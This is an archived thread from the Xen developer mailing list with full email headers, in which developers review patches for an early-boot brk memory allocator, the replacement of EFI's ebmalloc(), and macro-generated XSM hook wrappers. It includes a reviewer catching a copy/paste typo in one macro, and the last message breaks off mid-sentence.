> @@ -0,0 +1,7 @@
> +/* SPDX-License-Identifier: GPL-2.0-or-later */
> +
> +#include <xen/types.h>
> +
> +void *brk_alloc(size_t size);
> +unsigned long brk_get_unused_start(void);
> +void brk_free_unused(void);

It's inevitable that brk is going to be used in other architectures, and
none of this is x86 specific.

This should be xen/include/brk.h right from the outset, even if that's
all we do in the way of making it generic.

Except, brk_end in patch 2 really needs to live in common/brk.c so it's
probably easier to go in arch-neutral right from the outset and use
"select ARCH_HAS_BRK" or so to allow the arches to opt into using it.

Furthermore, this header needs some commentary.Â  To do this nicely,
DEFINE_BRK() needs to be introduced here so the comment makes sense.

-----
Early Boot memory allocator.

Subsystems which conditionally need memory prior to the main heap being
set up should use DEFINE_BRK() to reserve BSS space in Xen.

During boot, brk_alloc() allocates memory from the reserved space.Â  Such
allocations are good for the lifetime of Xen.Â  Subsystems MUST NOT
brk_alloc() more memory than they reserved.

When the main heap is set up, brk allocations become unavailable.Â 
Reserved but unallocated space is handed to the main heap, so it doesn't
go to waste.
-----


With just a few sentences, it's now far clearer what brk is and how to
use it.


> --- a/xen/arch/x86/xen.lds.S
> +++ b/xen/arch/x86/xen.lds.S
> @@ -321,7 +321,11 @@ SECTIONS
>         __bss_start = .;
>         *(.bss.page_aligned*)
>         PERCPU_BSS
> -       *(.bss .bss.*)
> +       *(.bss .bss.[a-zA-Z0-9_]*)
> +       . = ALIGN(PAGE_SIZE);
> +       __brk_start = .;
> +       *(.bss..brk.page_aligned*)
> +       *(.bss..brk*)
>         . = ALIGN(POINTER_ALIGN);

This looks fine, but if it's becoming common then it wants to be a macro
in xen.lds.h

~Andrew


From xen-devel-bounces@lists.xenproject.org Thu Jul 30 18:08:28 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 30 Jul 2026 18:08:28 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1378361.1623790 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wpVBA-0002yi-1R; Thu, 30 Jul 2026 18:08:24 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1378361.1623790; Thu, 30 Jul 2026 18:08:24 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wpVB9-0002yb-TW; Thu, 30 Jul 2026 18:08:23 +0000
Received: by outflank-mailman (input) for mailman id 1378361;
 Thu, 30 Jul 2026 18:08:22 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <andrew.cooper@citrix.com>) id 1wpVB8-0002yU-GP
 for xen-devel@lists.xenproject.org; Thu, 30 Jul 2026 18:08:22 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wpVB7-0040dX-Fi
 for xen-devel@lists.xenproject.org; Thu, 30 Jul 2026 20:08:21 +0200
Received: from [10.42.69.2] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <andrew.cooper@citrix.com>)
 id 6a6b930e-5cb7-0a2a0a5109dd-0a2a4502ecee-12
 for <xen-devel@lists.xenproject.org>; Thu, 30 Jul 2026 20:08:21 +0200
Received: from [40.93.198.30]
 (helo=CY7PR03CU001.outbound.protection.outlook.com)
 by tlsNG-720697.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <andrew.cooper@citrix.com>)
 id 6a6b9313-6ca4-0a2a45020019-285dc61ea513-3
 for <xen-devel@lists.xenproject.org>; Thu, 30 Jul 2026 20:08:21 +0200
Received: from CH8PR03MB8275.namprd03.prod.outlook.com (2603:10b6:610:2b9::7)
 by CY2PR03MB587508.namprd03.prod.outlook.com (2603:10b6:930:112::6)
 with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.270.15; Thu, 30 Jul
 2026 18:08:17 +0000
Received: from CH8PR03MB8275.namprd03.prod.outlook.com
 ([fe80::a70d:dc32:bba8:ce37]) by CH8PR03MB8275.namprd03.prod.outlook.com
 ([fe80::a70d:dc32:bba8:ce37%7]) with mapi id 15.21.0245.012; Thu, 30 Jul 2026
 18:08:17 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=citrix.com header.i="@citrix.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=SWLOssulIXhJXBhAynwXsCLm+CPOHr9FcBULB+BMqH7AFc5qOdKcAQAwnUQ55VBtaNQNcE8V7XcXFKV6C3NgZitlCIIG98xOz+XB6uurOkBBWraYJstMY87uz6NocFjaOxOx2Dew7zZdGfs72I5CVsge2roK40iT+OhE+rl+3wPqQBNMbH7yn2sVB2njjh48eE7dUSppeduizLd5HD1r5pXMacUDAem4tBOa8AGEtL+E5edQv7JkKo7xPq1oKsskSq5KuHs2dSmLTLQjIylPwaZqZsYO5PleWdCvz9Jyoz+byQ9mIi1CdKOP97FOFni7Iw5Q1IQ5m8xHBUJ+p6D8fA==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=r9mV654lpClCVXY2J+cjItmpV7ABR6fu/bXgjbjOC7Y=;
 b=w1jZ8/QBinrQTpycUUapxeY80F1jYD2JSbc3I8XA0Rl0QEwRaIZP5aCXzo/b0ftGMSk6fncZoEm9SF5f8DBrI7b4WpzxeyyQzQeurpDGxD8SJRM75CWxRiqnmRyyXZHt92ujAuUcfuXNKRLnLdhzgQ4xqBmetWbllvQWgl0k+pDfGwde2bL3p4UGwj474ziTvzMdmyGKazEwNVrKCR3Y1N49OzvgbbCF3tSM47KecaCUX1syd6DQDx3dZVkY2b+KnaOAiP1Li4LuuRGy+uM2OwOoqqxbjuVLL9yBTK1fIOJhNIlwpoOEib+Qr3c5m8SFLMPfD3Lr0KBLbx/duUMmCA==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass
 smtp.mailfrom=citrix.com; dmarc=pass action=none header.from=citrix.com;
 dkim=pass header.d=citrix.com; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=citrix.com;
 s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=r9mV654lpClCVXY2J+cjItmpV7ABR6fu/bXgjbjOC7Y=;
 b=w4d36qrgzB1FE0/MPsFyUkAOfPJwukmu/zLTZmNqhyUkumxaqzNGXrUDth15W7NoBMjTwMqKJ7WeQzQJ/v4wmu+xCcPmu2mgVQ/HymmJAlgym7jMewWfSg8Az0QK9F3i4DDpbFMRY5si45Tq0cT4Zrvd/F7Hilpaeu+ZC+buIDg=
Authentication-Results: dkim=none (message not signed)
 header.d=none;dmarc=none action=none header.from=citrix.com;
Message-ID: <2eb924b2-11fd-45be-b933-c6352fb2dfe0@citrix.com>
Date: Thu, 30 Jul 2026 19:08:13 +0100
User-Agent: Mozilla Thunderbird
Cc: Andrew Cooper <andrew.cooper3@citrix.com>, Julien Grall <julien@xen.org>,
 Stefano Stabellini <sstabellini@kernel.org>,
 Anthony PERARD <anthony.perard@vates.tech>,
 Michal Orzel <michal.orzel@amd.com>, Teddy Astie <teddy.astie@vates.tech>,
 Marek Marczykowski <marmarek@invisiblethingslab.com>,
 Daniel Smith <dpsmith@apertussolutions.com>
Subject: Re: [PATCH v2 2/3] x86/EFI: replace ebmalloc()
To: Jan Beulich <jbeulich@suse.com>,
 "xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>
References: <31ba7ff2-a42d-44aa-976c-17fbff44a56f@suse.com>
 <98388998-c5c6-4991-8662-2b4bf25188f2@suse.com>
Content-Language: en-GB
From: Andrew Cooper <andrew.cooper3@citrix.com>
Autocrypt: addr=andrew.cooper3@citrix.com; keydata=
 xsFNBFLhNn8BEADVhE+Hb8i0GV6mihnnr/uiQQdPF8kUoFzCOPXkf7jQ5sLYeJa0cQi6Penp
 VtiFYznTairnVsN5J+ujSTIb+OlMSJUWV4opS7WVNnxHbFTPYZVQ3erv7NKc2iVizCRZ2Kxn
 srM1oPXWRic8BIAdYOKOloF2300SL/bIpeD+x7h3w9B/qez7nOin5NzkxgFoaUeIal12pXSR
 Q354FKFoy6Vh96gc4VRqte3jw8mPuJQpfws+Pb+swvSf/i1q1+1I4jsRQQh2m6OTADHIqg2E
 ofTYAEh7R5HfPx0EXoEDMdRjOeKn8+vvkAwhviWXTHlG3R1QkbE5M/oywnZ83udJmi+lxjJ5
 YhQ5Izom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5asy21YOytzxuWFfJTGnVxZZSCyLUO83sh6OZhJkk
 b9rxL9wPmpN/t2IPaEKoAc0FTQZS36wAMOXkBh24PQ9gaLJvfPKpNzGD8XWR5HHF0NLIJhgg
 4ZlEXQ2fVp3XrtocHqhu4UZR4koCijgB8sB7Tb0GCpwK+C4UePdFLfhKyRdSXuvY3AHJd4CP
 4JzW0Bzq/WXY3XMOzUTYApGQpnUpdOmuQSfpV9MQO+/jo7r6yPbxT7CwRS5dcQPzUiuHLK9i
 nvjREdh84qycnx0/6dDroYhp0DFv4udxuAvt1h4wGwTPRQZerSm4xaYegEFusyhbZrI0U9tJ
 B8WrhBLXDiYlyJT6zOV2yZFuW47VrLsjYnHwn27hmxTC/7tvG3euCklmkn9Sl9IAKFu29RSo
 d5bD8kMSCYsTqtTfT6W4A3qHGvIDta3ptLYpIAOD2sY3GYq2nf3Bbzx81wZK14JdDDHUX2Rs
 6+ahAA==
In-Reply-To: <98388998-c5c6-4991-8662-2b4bf25188f2@suse.com>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-ClientProxiedBy: LO0P265CA0005.GBRP265.PROD.OUTLOOK.COM
 (2603:10a6:600:355::10) To CH8PR03MB8275.namprd03.prod.outlook.com
 (2603:10b6:610:2b9::7)
MIME-Version: 1.0
X-MS-PublicTrafficType: Email
X-MS-TrafficTypeDiagnostic: CH8PR03MB8275:EE_|CY2PR03MB587508:EE_
X-MS-Office365-Filtering-Correlation-Id: 27ac2180-7314-4a8b-668e-08deee6587ec
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|366016|376014|23010399003|1800799024|6133799003|56012099006|4143699003|11063799006|10067099003|22082099003|18002099003;
X-Microsoft-Antispam-Message-Info:
	E4jwIACBiG99BvPgr7hMA8/Q8YHYJUwu+Hz4LtzaGYLTGZHiSkBF/d5CaZ2amuLq7dckiuVUT6LFKCYB6ex3uHQmcPlE4WkuTj35ZLcdytY067ygeWkl48+7HZnOAycxIMF9yzALWikixrFxA5u+tOCMEDOE+ZsRrRQrzEkSt+wuXVv6yeR0BFieGq0BsGeihlhKyqRmmsywblAH73u3OfNs/2PybFi6vDshfHFmrhLPneumDcXMR5X8zQ4Do5EiVjK/VmQ42uys2fwEJ9KzfhUpxaQ7HYoI5vkfFRkDimOBfqoYYF48AVbf7ekARfUwsIMbxq+oF1UFKcgHKIvnrPgTcHk+uFn3U2zDindIxEGwNctGsydQCnKyxeR+64bzf8d0T0k5s+kXBnckFMRFuvRtg13KrI8CGtpN1ECsLBJS9DSZjU1XxBqjLGKVyhnh/3MCQSxUsQ98LSipY3fy0sB74P/XmNlQq1CP4ybZJg8jXFJG8yiyTxKMiEBmFAkxPsV/mgX+unl/fRzqMeDk9vYWFPS/oCdVLEb2CYOwc+5HiWbJ2EujLp4BbSRNHOq1NxHlzFMsMByMmL6LdchjdcWseUoz4NIDFQXY5yYeR8C3VCzMcz2ZcsKnnWvpZaB+btAKmHGeFFoA2PtHR0UHi/mfRwqBBEhEZSG2QiQIX7M=
X-Forefront-Antispam-Report:
	CIP:255.255.255.255;CTRY:;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:CH8PR03MB8275.namprd03.prod.outlook.com;PTR:;CAT:NONE;SFS:(13230040)(366016)(376014)(23010399003)(1800799024)(6133799003)(56012099006)(4143699003)(11063799006)(10067099003)(22082099003)(18002099003);DIR:OUT;SFP:1101;
X-MS-Exchange-AntiSpam-MessageData-ChunkCount: 1
X-MS-Exchange-AntiSpam-MessageData-0:
	=?utf-8?B?WG1FZDQyK3hSMWJrS00xVTU5Q3diM1VPaGIzeEZVK0RtMzdXeERkS0MvNGlY?=
 =?utf-8?B?ZHc1TVVwRE1CV1lSU0lpa0pWRjA2c1JJcVU4aW0xRkxmbStNcHFHTW1pYjJ6?=
 =?utf-8?B?dzV1d0MwbXBBNTc4SEMrU015c1lrT1dkbFNXRzhnc3V0VzZPZkQ4bXN6T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NkdzSFJNeTA1Q3FOeG54M2xOb0xv?=
 =?utf-8?B?VFMzeWdYa2VxUHcxVXA2TlIxanRlYlE0bEtXZDRkY0JUTjlUa1pZWWZBcVBl?=
 =?utf-8?B?cmYwWnV0M1JyY2VTMnBmbEYyY1VsS28zVFpwM0cyNVh4ZTFNNkZlWGpweUEv?=
 =?utf-8?B?T2l6bFZFaFVPcEJWcjM1OWtzdG1rUy96dkZuYis3M2pjZFY1bkZqVGEyZmNu?=
 =?utf-8?B?c2ZYRTZ4cUhHTEpwbGRCY3dCZGxzczRUcUlrcTd1ak04aDRySEFuZzhITVAr?=
 =?utf-8?B?bFFrWTFNWFRBU1gxWnNrOFErT0ZKVHBJVnQ0bWw3eXBia1ZHQ3Nncm9Vamxr?=
 =?utf-8?B?a0c4aVJTc2RjMFlBRytXR1FKQWR0SlhWZmNHMGh6enRvSTVVWHE3V0pSNndW?=
 =?utf-8?B?UGVYNkhlV1YyZ2lBUC9zR2ZZSUUrcnlyN3FpeWFYYVFZRUc3czFGZz09?=
X-OriginatorOrg: citrix.com
X-MS-Exchange-CrossTenant-Network-Message-Id: 27ac2180-7314-4a8b-668e-08deee6587ec
X-MS-Exchange-CrossTenant-AuthSource: CH8PR03MB8275.namprd03.prod.outlook.com
X-MS-Exchange-CrossTenant-AuthAs: Internal
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 30 Jul 2026 18:08:17.3573
 (UTC)
X-MS-Exchange-CrossTenant-FromEntityHeader: Hosted
X-MS-Exchange-CrossTenant-Id: 335836de-42ef-43a2-b145-348c2ee9ca5b
X-MS-Exchange-CrossTenant-MailboxType: HOSTED
X-MS-Exchange-CrossTenant-UserPrincipalName: H8aPSv67JEn3g5EhJsHntETK2y5qnECW2Fmjdyd9CEXVs6aBxjzsrUyiBikEB8BQv314Xt++c772zJTVbEry8dumSr688f0kHe8N2TOS7D0=
X-MS-Exchange-Transport-CrossTenantHeadersStamped: CY2PR03MB587508
X-purgate-ID: tlsNG-720697/1785434901-30BC02AC-4B098906/0/0
X-purgate-type: clean
X-purgate-size: 2977

On 27/07/2026 11:20 am, Jan Beulich wrote:
> --- a/xen/arch/x86/setup.c
> +++ b/xen/arch/x86/setup.c
> @@ -31,6 +31,7 @@
>  #include <asm/alternative.h>
>  #include <asm/apic.h>
>  #include <asm/bootinfo.h>
> +#include <asm/brk.h>
>  #include <asm/bzimage.h>
>  #include <asm/cpu-policy.h>
>  #include <asm/e820.h>
> @@ -164,6 +165,8 @@ cpumask_t __read_mostly cpu_present_map;
>  
>  unsigned long __read_mostly xen_phys_start;
>  
> +unsigned long __ro_after_init brk_end;
> +
>  /* Only used in asm code and within this source file */
>  char asmlinkage __section(".init.bss.stack_aligned") __aligned(STACK_SIZE)
>      cpu0_stack[STACK_SIZE];
> @@ -1141,7 +1144,6 @@ void asmlinkage __init noreturn __start_
>      struct boot_info *bi;
>      unsigned long nr_pages, raw_max_page;
>      int i, j, bytes = 0;
> -    unsigned long eb_start, eb_end;
>      bool acpi_boot_table_init_done = false, relocated = false;
>      bool vm_init_done = false;
>      int ret;
> @@ -1511,7 +1513,7 @@ void asmlinkage __init noreturn __start_
>          /*
>           * This needs to remain in sync with remove_xen_ranges() and the
>           * respective reserve_e820_ram() invocation below. No need to
> -         * query efi_boot_mem_unused() here, though.
> +         * query brk_get_unused_start() here, though.
>           */
>          xen->start = virt_to_maddr(_stext);
>          xen->size  = __2M_rwdata_end - _stext;
> @@ -1654,18 +1656,11 @@ void asmlinkage __init noreturn __start_
>      if ( !xen_phys_start )
>          panic("Not enough memory to relocate Xen\n");
>  
> -    /* FIXME: Putting a hole in .bss would shatter the large page mapping. */
> -    if ( using_2M_mapping() )
> -        efi_boot_mem_unused(NULL, NULL);
> -
>      /* This needs to remain in sync with remove_xen_ranges(). */
> -    if ( efi_boot_mem_unused(&eb_start, &eb_end) )
> -    {
> -        reserve_e820_ram(&boot_e820, __pa(_stext), __pa(eb_start));
> -        reserve_e820_ram(&boot_e820, __pa(eb_end), __pa(__2M_rwdata_end));
> -    }
> -    else
> -        reserve_e820_ram(&boot_e820, __pa(_stext), __pa(__2M_rwdata_end));
> +    brk_end = brk_get_unused_start();
> +    if ( using_2M_mapping() )
> +        brk_end = PAGE_ALIGN_2M(brk_end);
> +    reserve_e820_ram(&boot_e820, __pa(_stext), __pa(brk_end));

Hiding brk_end in setup.c like this is quite rude.Â  I guess it's because
you want to have brk.c be brk.init.o, but it really does live with the
other brk functions.

Furthermore, having brk_end right from the outset fixes the fact that
brk_get_unused_start() is doing things beyond retrieving a value.

With brk_end being the real bump pointer the allocator uses, then the
only function you need is brk_finish() (name subject to improvement)
which is now very clear about the point at which brk allocations cease
working.

The rest, dropping EFI's current ebmalloc() all looks fine now.

~Andrew


From xen-devel-bounces@lists.xenproject.org Thu Jul 30 18:21:50 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 30 Jul 2026 18:21:50 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1378397.1623798 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wpVO6-0006Ta-3d; Thu, 30 Jul 2026 18:21:46 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1378397.1623798; Thu, 30 Jul 2026 18:21:46 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wpVO6-0006TT-0t; Thu, 30 Jul 2026 18:21:46 +0000
Received: by outflank-mailman (input) for mailman id 1378397;
 Thu, 30 Jul 2026 18:21:45 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <dpsmith@apertussolutions.com>) id 1wpVO4-0006TN-P9
 for xen-devel@lists.xenproject.org; Thu, 30 Jul 2026 18:21:44 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wpVO3-006sTG-I6
 for xen-devel@lists.xenproject.org; Thu, 30 Jul 2026 20:21:43 +0200
Received: from [10.42.69.4] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <dpsmith@apertussolutions.com>)
 id 6a6b9609-e002-0a2a0a5209dd-0a2a4504ac42-28
 for <xen-devel@lists.xenproject.org>; Thu, 30 Jul 2026 20:21:43 +0200
Received: from [136.143.188.51] (helo=sender4-of-o51.zoho.com)
 by tlsNG-ebf023.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <dpsmith@apertussolutions.com>)
 id 6a6b9635-b57f-0a2a45040019-888fbc335289-3
 for <xen-devel@lists.xenproject.org>; Thu, 30 Jul 2026 20:21:43 +0200
Received: by mx.zohomail.com with SMTPS id 1785435694733529.3708079301904;
 Thu, 30 Jul 2026 11:21:34 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=zoho header.d=apertussolutions.com header.i="dpsmith@apertussolutions.com" header.h="Message-ID:Date:MIME-Version:Subject:To:Cc:From:In-Reply-To:Content-Type:Content-Transfer-Encoding"
ARC-Seal: i=1; a=rsa-sha256; t=1785435698; cv=none; 
	d=zohomail.com; s=zohoarc; 
	b=M5tKSQN/eK4XndmQFppvlfCZcmIAuZCT3WvnwwwfKSV2pd3H1Nar8ESNvQn2oIqIf8u+/47lR6sz22wYEeEJVcJ/cenzRDULP++oBllF/YUNXdUF4DU7sfNOvzuZ0HnOWkrm0lj8+oJxvEscJbSy8lcyDjjnRa49oEVlFsCd4EY=
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=zohomail.com; s=zohoarc; 
	t=1785435698; h=Content-Type:Content-Transfer-Encoding:Cc:Cc:Date:Date:From:From:In-Reply-To:MIME-Version:Message-ID:Subject:Subject:To:To:Message-Id:Reply-To; 
	bh=S/fKYTlv9/TcdEm0siUUGC93Ab8FECfqzFTwZC5yJF4=; 
	b=EiX2H5jdfoTVXw3W3HAhT73oB01KUbps7x5LJuZqjhVc7VEGmSoCmewYDIM0Xeo/VrGF6Gkig7kfz/S5EdPfyQGCHdhId2FWYds2PqGtov+H+H2UDkMMJbYMufGprzqKw+Y8Ao4nmfcIqULq0llCW6Tw/JbyMoAYI3DymKh4GOM=
ARC-Authentication-Results: i=1; mx.zohomail.com;
	dkim=pass  header.i=apertussolutions.com;
	spf=pass  smtp.mailfrom=dpsmith@apertussolutions.com;
	dmarc=pass header.from=<dpsmith@apertussolutions.com>
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; t=1785435698;
	s=zoho; d=apertussolutions.com; i=dpsmith@apertussolutions.com;
	h=Message-ID:Date:Date:MIME-Version:Subject:Subject:To:To:Cc:Cc:From:From:In-Reply-To:Content-Type:Content-Transfer-Encoding:Message-Id:Reply-To;
	bh=S/fKYTlv9/TcdEm0siUUGC93Ab8FECfqzFTwZC5yJF4=;
	b=YbDNW9VvDKxa/Kj9QUtvrac16SvZNWjC8R0wHHVZd6TIO1lbuZFAu4jCVTpqptqR
	4jSU+wl6MKbBBOxNM9ifRmwwPvg+kwmce3Jk5LwsZ2WAI2fmb13qxUCAbDjYIppk2Re
	ip1D6KWluCtmxIl3T7WTbm992cJu/4OWYN+TArXs=
Message-ID: <19775f5b-e458-4336-92a3-8f8103708564@apertussolutions.com>
Date: Thu, 30 Jul 2026 14:21:42 -0400
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH 01/24] XSM: reduce redundancy in hook machinery
To: Jan Beulich <jbeulich@suse.com>
Cc: "xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>
References: <758c8410-a18e-45dc-8944-5913e5832397@suse.com>
 <7487f138-e5e9-41d6-9291-f5eef42d09a1@suse.com>
 <62738b20-ef4b-47ac-832c-5c5fe353e56f@apertussolutions.com>
 <8030ff8e-ed83-46c4-ba69-4954ee645c38@suse.com>
Content-Language: en-US
From: "Daniel P. Smith" <dpsmith@apertussolutions.com>
In-Reply-To: <8030ff8e-ed83-46c4-ba69-4954ee645c38@suse.com>
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: 7bit
X-ZohoMailClient: External
X-purgate-ID: tlsNG-ebf023/1785435703-C10DDB50-9531B11B/0/0
X-purgate-type: clean
X-purgate-size: 5816

On 7/30/26 11:18 AM, Jan Beulich wrote:
> On 30.07.2026 17:05, Daniel P. Smith wrote:
>> On 7/28/26 9:13 AM, Jan Beulich wrote:
>>> Hooks not taking xsm_default_t as first argument could of course be
>>> adjusted to take one, at which point they could be covered here as well.
>>> Question is why there is this difference in the first place.
>>
>> I have a theory but I am not confident to write it down. I can see if I
>> can confirm with DDG if you really care that much to know the why.
>> Personally having a consistent hook interface convention would provide a
>> simpler pattern for people to follow if they are having to introdcue a
>> new hook.
> 
> Well, I don't really need to know the reason. If you agree that making
> things uniform is a good move, I can simply stick a few more patches at
> the end of this series.
> 

Correct me if I am wrong, but we would be introducing an unused 
parameter in exchange for uniform interfaces that can be generated with 
machinery reducing hook maintenance overhead. IMHO I feel from a 
security standpoint this would be a win. Would you disagree?

>>> .{alloc,free}_security_evtchns() and their dummy wrappers use struct
>>> evtchn[] notation, while xsm_{alloc,free}_security_evtchns() use struct
>>> evtchn *. Is there a reason for this inconsistency?
>>
>> Person had one habit that was counter to Xen preference and missed one?
>> I have no justification for it. IMHO the interfaces should be kept
>> consistent to enable better grep-ability.
> 
> Which direction would you want it changed? Personally I like the []
> notation better when arrays are meant, but the pointer notation will be
> quite a bit easier with the new hooks.h machinery.
> 

I agree, my preference is [] for array parameters. But this is a 
readability vs less fragile machinery. As much as I like to know that 
the parameter is meant to be an array vs a instance reference, I would 
prefer more reliability in the machinery. Since you are doing the work, 
I leave to you to decide level of effort vs the most resilient 
implementation of the machinery.

>>> @@ -206,113 +117,57 @@ static inline void xsm_security_domainin
>>>        alternative_vcall(xsm_ops.security_domaininfo, d, info);
>>>    }
>>>    
>>> -static inline int xsm_domain_create(
>>> -    xsm_default_t def, struct domain *d, uint32_t ssidref)
>>> -{
>>> -    return alternative_call(xsm_ops.domain_create, d, ssidref);
>>> -}
>>> +#define XSM_ALT_void alternative_vcall
>>> +#define XSM_ALT_int  return alternative_call
>>>    
>>> -static inline int xsm_getdomaininfo(xsm_default_t def, struct domain *d)
>>> -{
>>> -    return alternative_call(xsm_ops.getdomaininfo, d);
>>> +#define XSM_HOOK0(rtype, name) \
>>> +static inline rtype xsm_ ## name(xsm_default_t def) \
>>> +{ \
>>> +    XSM_ALT_ ## rtype(xsm_ops.name); \
>>>    }
>>>    
>>> -static inline int xsm_get_domain_state(xsm_default_t def, struct domain *d)
>>> -{
>>> -    return alternative_call(xsm_ops.get_domain_state, d);
>>> +#define XSM_HOOK1(rtype, name, type1) \
>>> +static inline rtype xsm_ ## name(xsm_default_t def, type1 arg1) \
>>> +{ \
>>> +    XSM_ALT_ ## rtype(xsm_ops.name, arg1); \
>>>    }
>>>    
>>> -static inline int xsm_set_target(
>>> -    xsm_default_t def, struct domain *d, struct domain *e)
>>> -{
>>> -    return alternative_call(xsm_ops.set_target, d, e);
>>> +#define XSM_HOOK2(rtype, name, type1, type2) \
>>> +static inline rtype xsm_ ## name( \
>>> +    xsm_default_t def, type1 arg1, type2 arg2) \
>>> +{ \
>>> +    XSM_ALT_ ## rtype(xsm_ops.name, arg1, arg2); \
>>>    }
>>>    
>>> -static inline int xsm_domctl(xsm_default_t def, struct domain *d,
>>> -                             struct xen_domctl *op)
>>> -{
>>> -    return alternative_call(xsm_ops.domctl, d, op);
>>> +#define XSM_HOOK3(rtype, name, type1, type2, type3) \
>>> +static inline rtype xsm_ ## name( \
>>> +    xsm_default_t def, type1 arg1, type2 arg2, type3 arg3) \
>>> +{ \
>>> +    XSM_ALT_ ## rtype(xsm_ops.name, arg1, arg2, arg3); \
>>>    }
>>>    
>>> -#ifdef CONFIG_SYSCTL
>>> -static inline int xsm_sysctl(xsm_default_t def, const struct xen_sysctl *op)
>>> -{
>>> -    return alternative_call(xsm_ops.sysctl, op);
>>> +#define XSM_HOOK4(rtype, name, type1, type2, type3, type4) \
>>> +static inline rtype xsm_ ## name( \
>>> +    xsm_default_t def, type1 arg1, type2 arg2, type3 arg3, type4 arg4) \
>>> +{ \
>>> +    XSM_ALT_ ## rtype(xsm_ops.name, arg1, arg2, arg3, arg4); \
>>>    }
>>> -#endif
>>>    
>>> -static inline int xsm_evtchn_unbound(
>>> -    xsm_default_t def, struct domain *d1, struct evtchn *chn, domid_t id2)
>>> -{
>>> -    return alternative_call(xsm_ops.evtchn_unbound, d1, chn, id2);
>>> +#define XSM_HOOK5(rtype, name, type1, type2, type3, type4, type5) \
>>> +static inline rtype xsm_ ## name( \
>>> +    xsm_default_t def, type1 arg1, type2 arg2, type3 arg3, type4 arg4, \
>>> +    type4 arg5) \
>>
>> Looks like you have copy/paste typo?
> 
> Indeed. And the last two parameters of .pci_config_permission() sadly aren't
> distinct enough to make the flaw apparent at build time. (That looks to be
> the only hook with 5 parameters.)
> 

I believe in 19 pci_config_permission() 5th parameter gets changed from 
